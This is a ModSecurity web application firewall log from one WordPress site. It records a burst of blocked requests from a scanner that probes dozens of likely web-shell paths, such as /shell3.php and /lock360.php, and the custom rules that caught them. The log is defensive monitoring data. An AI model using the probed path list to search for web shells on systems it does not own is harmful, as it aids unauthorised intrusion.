[Thu Nov 20 07:10:45.454529 2025] [:error] [pid 34444:tid 34446] [client 185.223.152.91:57495] [client 185.223.152.91] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/adminfuns.php"] [unique_id "aR5OdVNEol4jlmmA_GOoagAAAUA"]
[Thu Nov 20 07:10:46.145842 2025] [:error] [pid 34444:tid 34461] [client 185.223.152.82:31079] [client 185.223.152.82] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aR5OdlNEol4jlmmA_GOobAAAAU8"]
[Thu Nov 20 07:10:46.818152 2025] [:error] [pid 34444:tid 34463] [client 185.223.152.87:41789] [client 185.223.152.87] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/"] [unique_id "aR5OdlNEol4jlmmA_GOobQAAAVE"]
[Thu Nov 20 07:10:47.542962 2025] [:error] [pid 55343:tid 55413] [client 185.223.152.80:55577] [client 185.223.152.80] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/mini.php"] [unique_id "aR5Od1WlO3EnyVMV7w4NPwAAAI4"]
[Thu Nov 20 07:10:48.213944 2025] [:error] [pid 55343:tid 55416] [client 185.223.152.75:51453] [client 185.223.152.75] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-admin/buy.php"] [unique_id "aR5OeFWlO3EnyVMV7w4NQAAAAJE"]
[Thu Nov 20 07:10:48.883083 2025] [:error] [pid 55342:tid 55373] [client 185.223.152.73:49129] [client 185.223.152.73] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/f.php"] [unique_id "aR5OeLg6x32Tvk7fIG9ORwAAAEE"]
[Thu Nov 20 07:10:49.552344 2025] [:error] [pid 55430:tid 55448] [client 185.223.152.67:41737] [client 185.223.152.67] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-header.php"] [unique_id "aR5OefPZXaIMEU4pE7tS0AAAAM8"]
[Thu Nov 20 07:10:50.221442 2025] [:error] [pid 55430:tid 55450] [client 185.223.152.89:36555] [client 185.223.152.89] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/bolt.php"] [unique_id "aR5OevPZXaIMEU4pE7tS0wAAANE"]
[Thu Nov 20 07:10:50.890843 2025] [:error] [pid 55430:tid 55440] [client 185.223.152.90:20753] [client 185.223.152.90] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/twentytwentyfour/"] [unique_id "aR5OevPZXaIMEU4pE7tS1AAAAMc"]
[Thu Nov 20 07:10:51.559589 2025] [:error] [pid 34444:tid 34459] [client 185.223.152.80:42801] [client 185.223.152.80] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/buy.php"] [unique_id "aR5Oe1NEol4jlmmA_GOocQAAAU0"]
[Thu Nov 20 07:10:52.254142 2025] [:error] [pid 55430:tid 55451] [client 185.223.152.79:47873] [client 185.223.152.79] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/shell3.php"] [unique_id "aR5OfPPZXaIMEU4pE7tS1gAAANI"]
[Thu Nov 20 07:10:52.923870 2025] [:error] [pid 55340:tid 55356] [client 185.223.152.74:27849] [client 185.223.152.74] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/admin.php"] [unique_id "aR5OfPOxD-NeMydTybDTxwAAAAs"]
[Thu Nov 20 07:10:53.592379 2025] [:error] [pid 34444:tid 34461] [client 185.223.152.71:36495] [client 185.223.152.71] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aR5OfVNEol4jlmmA_GOodAAAAU8"]
[Thu Nov 20 07:10:54.264469 2025] [:error] [pid 55340:tid 55355] [client 185.223.152.87:54075] [client 185.223.152.87] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-conflg/function.php"] [unique_id "aR5OfvOxD-NeMydTybDTyAAAAAo"]
[Thu Nov 20 07:10:54.941009 2025] [:error] [pid 55340:tid 55345] [client 185.223.152.72:23037] [client 185.223.152.72] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/uploaded_script.php"] [unique_id "aR5OfvOxD-NeMydTybDTyQAAAAA"]
[Thu Nov 20 07:10:55.613975 2025] [:error] [pid 55342:tid 55380] [client 185.223.152.65:23543] [client 185.223.152.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aR5Of7g6x32Tvk7fIG9OSAAAAEg"]
[Thu Nov 20 07:10:56.282550 2025] [:error] [pid 55342:tid 55377] [client 185.223.152.69:28983] [client 185.223.152.69] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/about/function.php"] [unique_id "aR5OgLg6x32Tvk7fIG9OSQAAAEU"]
[Thu Nov 20 07:10:56.951347 2025] [:error] [pid 34444:tid 34464] [client 185.223.152.69:53041] [client 185.223.152.69] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/languages/admin.php"] [unique_id "aR5OgFNEol4jlmmA_GOoeAAAAVI"]
[Thu Nov 20 07:10:57.628000 2025] [:error] [pid 55342:tid 55386] [client 185.223.152.80:50605] [client 185.223.152.80] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/item.php"] [unique_id "aR5Ogbg6x32Tvk7fIG9OTQAAAE4"]
[Thu Nov 20 07:10:58.302386 2025] [:error] [pid 34405:tid 34424] [client 185.223.152.75:45751] [client 185.223.152.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aR5OgjFpvu8oRK7ATfuGSQAAARE"]
[Thu Nov 20 07:10:58.984977 2025] [:error] [pid 55340:tid 55367] [client 185.223.152.86:51273] [client 185.223.152.86] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/news-portal/error.php"] [unique_id "aR5OgvOxD-NeMydTybDTzAAAABY"]
[Thu Nov 20 07:10:59.653076 2025] [:error] [pid 34405:tid 34417] [client 185.223.152.74:22573] [client 185.223.152.74] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-info.php"] [unique_id "aR5OgzFpvu8oRK7ATfuGSgAAAQo"]
[Thu Nov 20 07:11:00.324393 2025] [:error] [pid 55340:tid 55359] [client 185.223.152.88:25277] [client 185.223.152.88] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/a.php"] [unique_id "aR5OhPOxD-NeMydTybDT0AAAAA4"]
[Thu Nov 20 07:11:01.062224 2025] [:error] [pid 34405:tid 34421] [client 185.223.152.76:40737] [client 185.223.152.76] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/twentyfive/include.php"] [unique_id "aR5OhTFpvu8oRK7ATfuGSwAAAQ4"]
[Thu Nov 20 07:11:01.846742 2025] [:error] [pid 55340:tid 55349] [client 185.223.152.86:23879] [client 185.223.152.86] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/index2.php"] [unique_id "aR5OhfOxD-NeMydTybDT1AAAAAQ"]
[Thu Nov 20 07:11:03.001029 2025] [:error] [pid 34405:tid 34411] [client 185.223.152.87:22459] [client 185.223.152.87] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/b.php"] [unique_id "aR5OhjFpvu8oRK7ATfuGTAAAAQQ"]
[Thu Nov 20 07:11:03.677885 2025] [:error] [pid 34405:tid 34414] [client 185.223.152.76:42175] [client 185.223.152.76] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/options.php"] [unique_id "aR5OhzFpvu8oRK7ATfuGTQAAAQc"]
[Thu Nov 20 07:11:04.347733 2025] [:error] [pid 34405:tid 34422] [client 185.223.152.70:21071] [client 185.223.152.70] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/s.php"] [unique_id "aR5OiDFpvu8oRK7ATfuGTgAAAQ8"]
[Thu Nov 20 07:11:05.018629 2025] [:error] [pid 34405:tid 34427] [client 185.223.152.76:26731] [client 185.223.152.76] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/sunrise/index.php"] [unique_id "aR5OiTFpvu8oRK7ATfuGTwAAARQ"]
[Thu Nov 20 07:11:05.701956 2025] [:error] [pid 34444:tid 34466] [client 185.223.152.74:41885] [client 185.223.152.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aR5OiVNEol4jlmmA_GOoegAAAVQ"]
[Thu Nov 20 07:11:06.431882 2025] [:error] [pid 34444:tid 34470] [client 185.223.152.70:37149] [client 185.223.152.70] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/dist/"] [unique_id "aR5OilNEol4jlmmA_GOofAAAAVg"]
[Thu Nov 20 07:11:07.103444 2025] [:error] [pid 55340:tid 55347] [client 185.223.152.71:27613] [client 185.223.152.71] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-conf.php"] [unique_id "aR5Oi_OxD-NeMydTybDT3QAAAAI"]
[Thu Nov 20 07:11:07.770850 2025] [:error] [pid 55340:tid 55356] [client 185.223.152.87:48453] [client 185.223.152.87] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/x.php"] [unique_id "aR5Oi_OxD-NeMydTybDT3gAAAAs"]
[Thu Nov 20 07:11:08.442627 2025] [:error] [pid 34405:tid 34431] [client 185.223.152.72:55925] [client 185.223.152.72] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/wp.php"] [unique_id "aR5OjDFpvu8oRK7ATfuGUwAAARg"]
[Thu Nov 20 07:11:09.109081 2025] [:error] [pid 34444:tid 34456] [client 185.223.152.80:34097] [client 185.223.152.80] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "aR5OjVNEol4jlmmA_GOofgAAAUo"]
[Thu Nov 20 07:11:09.776715 2025] [:error] [pid 34444:tid 34461] [client 185.223.152.84:23785] [client 185.223.152.84] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-files.php"] [unique_id "aR5OjVNEol4jlmmA_GOofwAAAU8"]
[Thu Nov 20 07:11:10.444950 2025] [:error] [pid 34444:tid 34463] [client 185.223.152.90:58843] [client 185.223.152.90] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/"] [unique_id "aR5OjlNEol4jlmmA_GOoggAAAVE"]
[Thu Nov 20 07:11:11.113383 2025] [:error] [pid 55430:tid 55451] [client 185.223.152.88:59455] [client 185.223.152.88] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/admin.php"] [unique_id "aR5Oj_PZXaIMEU4pE7tS3QAAANI"]
[Thu Nov 20 07:11:11.780963 2025] [:error] [pid 34444:tid 34464] [client 185.223.152.72:51249] [client 185.223.152.72] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/wp-login.php"] [unique_id "aR5Oj1NEol4jlmmA_GOohAAAAVI"]
[Thu Nov 20 07:11:12.450769 2025] [:error] [pid 34405:tid 34416] [client 185.223.152.90:48423] [client 185.223.152.90] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/db.php"] [unique_id "aR5OkDFpvu8oRK7ATfuGVQAAAQk"]
[Thu Nov 20 07:11:13.121107 2025] [:error] [pid 55343:tid 55414] [client 185.223.152.73:26173] [client 185.223.152.73] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-admin/m.php"] [unique_id "aR5OkVWlO3EnyVMV7w4NVQAAAI8"]
[Thu Nov 20 07:11:13.789008 2025] [:error] [pid 55340:tid 55369] [client 185.223.152.90:56011] [client 185.223.152.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/chosen.php"] [unique_id "aR5OkfOxD-NeMydTybDT4AAAABg"]
[Thu Nov 20 07:11:14.457268 2025] [:error] [pid 34444:tid 34459] [client 185.223.152.85:44421] [client 185.223.152.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "aR5OklNEol4jlmmA_GOohwAAAU0"]
[Thu Nov 20 07:11:15.127820 2025] [:error] [pid 55430:tid 55456] [client 185.223.152.69:33763] [client 185.223.152.69] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/bk/index.php"] [unique_id "aR5Ok_PZXaIMEU4pE7tS4AAAANc"]
[Thu Nov 20 07:11:15.798951 2025] [:error] [pid 55340:tid 55366] [client 185.223.152.83:38197] [client 185.223.152.83] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/log.php"] [unique_id "aR5Ok_OxD-NeMydTybDT4gAAABU"]
[Thu Nov 20 07:11:16.469398 2025] [:error] [pid 55340:tid 55360] [client 185.223.152.71:40091] [client 185.223.152.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/navigation/index.php"] [unique_id "aR5OlPOxD-NeMydTybDT4wAAAA8"]
[Thu Nov 20 07:11:17.139839 2025] [:error] [pid 55430:tid 55442] [client 185.223.152.82:46473] [client 185.223.152.82] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-admin/"] [unique_id "aR5OlfPZXaIMEU4pE7tS4wAAAMk"]
[Thu Nov 20 07:11:17.809974 2025] [:error] [pid 55340:tid 55347] [client 185.223.152.68:57515] [client 185.223.152.68] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/"] [unique_id "aR5OlfOxD-NeMydTybDT5wAAAAI"]
[Thu Nov 20 07:11:18.482395 2025] [:error] [pid 34405:tid 34421] [client 185.223.152.90:64053] [client 185.223.152.90] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/post.php"] [unique_id "aR5OljFpvu8oRK7ATfuGVwAAAQ4"]
[Thu Nov 20 07:11:19.154746 2025] [:error] [pid 55340:tid 55349] [client 185.223.152.74:65513] [client 185.223.152.74] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/radio.php"] [unique_id "aR5Ol_OxD-NeMydTybDT6AAAAAQ"]
[Thu Nov 20 07:11:19.825373 2025] [:error] [pid 34444:tid 34457] [client 185.223.152.70:40815] [client 185.223.152.70] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/contact.php"] [unique_id "aR5Ol1NEol4jlmmA_GOomAAAAUs"]
[Thu Nov 20 07:11:20.495706 2025] [:error] [pid 55343:tid 55419] [client 185.223.152.79:43363] [client 185.223.152.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/wp-conflg.php"] [unique_id "aR5OmFWlO3EnyVMV7w4NVwAAAJQ"]
[Thu Nov 20 07:11:21.168687 2025] [:error] [pid 55343:tid 55409] [client 185.223.152.89:47447] [client 185.223.152.89] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/error.php"] [unique_id "aR5OmVWlO3EnyVMV7w4NWAAAAIo"]
[Thu Nov 20 07:11:21.839233 2025] [:error] [pid 34444:tid 34458] [client 185.223.152.77:34619] [client 185.223.152.77] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-includes/sodium_compat/lib/"] [unique_id "aR5OmVNEol4jlmmA_GOonQAAAUw"]
[Thu Nov 20 07:11:22.526368 2025] [:error] [pid 55343:tid 55404] [client 185.223.152.71:53871] [client 185.223.152.71] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/endpoints/"] [unique_id "aR5OmlWlO3EnyVMV7w4NWQAAAIU"]
